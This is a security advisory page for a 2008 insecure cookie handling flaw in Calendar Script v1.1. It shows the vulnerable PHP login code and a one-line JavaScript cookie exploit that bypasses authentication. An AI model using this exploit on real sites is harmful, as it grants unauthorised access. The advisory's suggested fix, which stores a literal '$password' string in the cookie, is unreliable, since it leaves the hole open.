Calendar Script 1.1 Insecure Cookie Handling Vulnerability

2008.12.30
Credit: Osirys
Risk: High
Local: No
Remote: Yes
CWE: CWE-287


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[START] ######################################################################################### [0x01] Informations: Script : Calendar Script v1.1 Download : http://www.hotscripts.com/jump.php?listing_id=71365&jump_type=1 Vulnerability : Insecure Cookie Handling Author : Osirys Contact : osirys[at]live[dot]it Website : http://osirys.org Notes : Proud to be Italian Greets: : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX ######################################################################################### [0x02] Bug: [Insecure Cookie Handling] ###### Bugged file is: /[path]/index.php [CODE] if(mysql_num_rows($checkDetails) > 0) { setcookie('nodstrumCalendarV2', '1', time()+3600); // Cookie will expire in 1 hour. // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>'; } [/CODE] If we login in correctly, a cookie is created with 'nodstrumCalendarV2' as name and '1' as content. ## [!] FIX: Change name or content to the cookie. Example: [CODE] if(mysql_num_rows($checkDetails) > 0) { setcookie('nodstrumCalendarV2', '$password', time()+3600); // Cookie will expire in 1 hour. // $loginMsg = '<span style="color: green">You are logged in<i>!</i></span>'; } [/CODE] ### [!] EXPLOIT: javascript:document.cookie = "nodstrumCalendarV2=1; path=/"; ######################################################################################### [/END]

References:

http://www.milw0rm.com/exploits/7513
http://secunia.com/advisories/33214
http://osvdb.org/50827


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top